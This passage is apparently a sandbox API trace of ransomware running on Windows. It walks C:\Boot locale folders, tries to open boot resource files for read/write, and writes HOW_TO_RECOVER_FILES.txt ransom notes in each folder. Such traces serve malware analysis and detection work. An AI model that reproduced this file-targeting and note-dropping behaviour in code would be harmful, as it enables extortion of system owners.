dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec326b0 [0070.815] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.815] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12758, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0070.815] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0070.815] FindClose (in: hFindFile=0x1ec326b0 | out: hFindFile=0x1ec326b0) returned 1 [0070.815] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0070.815] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0070.816] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0070.816] GetFullPathNameW (in: lpFileName="C:\\Boot\\lv-LV", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\lv-LV", lpFilePart=0x0) returned 0xd [0070.816] FindFirstFileW (in: lpFileName="C:\\Boot\\lv-LV\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec326b0 [0070.816] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.816] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12758, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0070.816] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12758, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0070.816] FindClose (in: hFindFile=0x1ec326b0 | out: hFindFile=0x1ec326b0) returned 1 [0070.816] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0070.816] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0070.817] GetFullPathNameW (in: lpFileName="C:\\Boot\\lv-LV\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\lv-LV\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0070.817] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0070.817] GetFileAttributesExW (in: lpFileName="C:\\Boot\\lv-LV\\bootmgr.exe.mui" (normalized: "c:\\boot\\lv-lv\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x33f15e0 | out: lpFileInformation=0x33f15e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2117a634, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12758)) returned 1 [0070.817] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0070.817] GetFullPathNameW (in: lpFileName="C:\\Boot\\lv-LV\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\lv-LV\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0070.817] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0070.817] CreateFileW (lpFileName="C:\\Boot\\lv-LV\\bootmgr.exe.mui" (normalized: "c:\\boot\\lv-lv\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0070.818] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59a6a0) returned 1 [0070.819] GetFullPathNameW (in: lpFileName="C:\\Boot\\lv-LV\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59da50, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\lv-LV\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x26 [0070.819] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59df70) returned 1 [0070.819] CreateFileW (lpFileName="C:\\Boot\\lv-LV\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\boot\\lv-lv\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0070.820] GetFileType (hFile=0x768) returned 0x1 [0070.820] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dee0) returned 1 [0070.820] GetFileType (hFile=0x768) returned 0x1 [0070.821] WriteFile (in: hFile=0x768, lpBuffer=0x33f3fe0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59e038, lpOverlapped=0x0 | out: lpBuffer=0x33f3fe0*, lpNumberOfBytesWritten=0x1f59e038*=0x5d0, lpOverlapped=0x0) returned 1 [0070.822] CloseHandle (hObject=0x768) returned 1 [0070.822] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0070.822] GetFullPathNameW (in: lpFileName="C:\\Boot\\nb-NO", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\nb-NO", lpFilePart=0x0) returned 0xd [0070.822] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e138, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef62cf52, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec326b0 [0070.823] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e138, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef62cf52, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.823] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211543da, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0070.823] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef62cf52, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0070.823] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0070.823] FindClose (in: hFindFile=0x1ec326b0 | out: hFindFile=0x1ec326b0) returned 1 [0070.823] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0070.824] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0070.824] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0070.824] GetFullPathNameW (in: lpFileName="C:\\Boot\\nb-NO", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\nb-NO", lpFilePart=0x0) returned 0xd [0070.824] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e138, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef62cf52, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec326b0 [0070.824] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e138, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef62cf52, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.824] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211543da, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0070.824] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef62cf52, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0070.824] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef62cf52, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0070.825] FindClose (in: hFindFile=0x1ec326b0 | out: hFindFile=0x1ec326b0) returned 1 [0070.825] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0070.825] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0070.825] GetFullPathNameW (in: lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\nb-NO\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0070.825] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0070.825] GetFileAttributesExW (in: lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x3402c38 | out: lpFileInformation=0x3402c38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211543da, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760)) returned 1 [0070.825] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0070.825] GetFullPathNameW (in: lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\nb-NO\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0070.825] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0070.825] CreateFileW (lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0070.827] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59a6a0) returned 1 [0070.827] GetFullPathNameW (in: lpFileName="C:\\Boot\\nb-NO\\memtest.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\nb-NO\\memtest.exe.mui", lpFilePart=0x0) returned 0x1d [0070.827] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0070.827] GetFileAttributesExW (in: lpFileName="C:\\Boot\\nb-NO\\memtest.exe.mui" (normalized: "c:\\boot\\nb-no\\memtest.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x34032e8 | out: lpFileInformation=0x34032e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef62cf52, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0)) returned 1 [0070.828] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0070.828] GetFullPathNameW (in: lpFileName="C:\\Boot\\nb-NO\\memtest.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\nb-NO\\memtest.exe.mui", lpFilePart=0x0) returned 0x1d [0070.828] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0070.828] CreateFileW (lpFileName="C:\\Boot\\nb-NO\\memtest.exe.mui" (normalized: "c:\\boot\\nb-no\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0070.829] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59a6a0) returned 1 [0070.830] GetFullPathNameW (in: lpFileName="C:\\Boot\\nb-NO\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f59da50, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\nb-NO\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x26 [0070.830] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59df70) returned 1 [0070.830] CreateFileW (lpFileName="C:\\Boot\\nb-NO\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\boot\\nb-no\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0070.832] GetFileType (hFile=0x768) returned 0x1 [0070.832] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dee0) returned 1 [0070.832] GetFileType (hFile=0x768) returned 0x1 [0070.833] WriteFile (in: hFile=0x768, lpBuffer=0x3405ce8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f59e038, lpOverlapped=0x0 | out: lpBuffer=0x3405ce8*, lpNumberOfBytesWritten=0x1f59e038*=0x5d0, lpOverlapped=0x0) returned 1 [0070.834] CloseHandle (hObject=0x768) returned 1 [0070.834] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0070.834] GetFullPathNameW (in: lpFileName="C:\\Boot\\nl-NL", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\nl-NL", lpFilePart=0x0) returned 0xd [0070.834] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec326b0 [0070.835] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.835] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211543da, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13160, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0070.835] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6407cf, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0070.835] FindNextFileW (in: hFindFile=0x1ec326b0, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0070.835] FindClose (in: hFindFile=0x1ec326b0 | out: hFindFile=0x1ec326b0) returned 1 [0070.835] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0070.835] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0070.835] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e000) returned 1 [0070.835] GetFullPathNameW (in: lpFileName="C:\\Boot\\nl-NL", nBufferLength=0x105, lpBuffer=0x1f59daa0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\nl-NL", lpFilePart=0x0) returned 0xd [0070.835] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x1f59dd20 | out: lpFindFileData=0x1f59dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32b90 [0070.836] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.836] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x211543da, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13160, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0070.836] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6407cf, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0070.836] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f59dce0 | out: lpFindFileData=0x1f59dce0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6407cf, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2fb5e6c, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0070.836] FindClose (in: hFindFile=0x1ec32b90 | out: hFindFile=0x1ec32b90) returned 1 [0070.837] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df40) returned 1 [0070.837] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59df00) returned 1 [0070.837] GetFullPathNameW (in: lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\nl-NL\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0070.837] 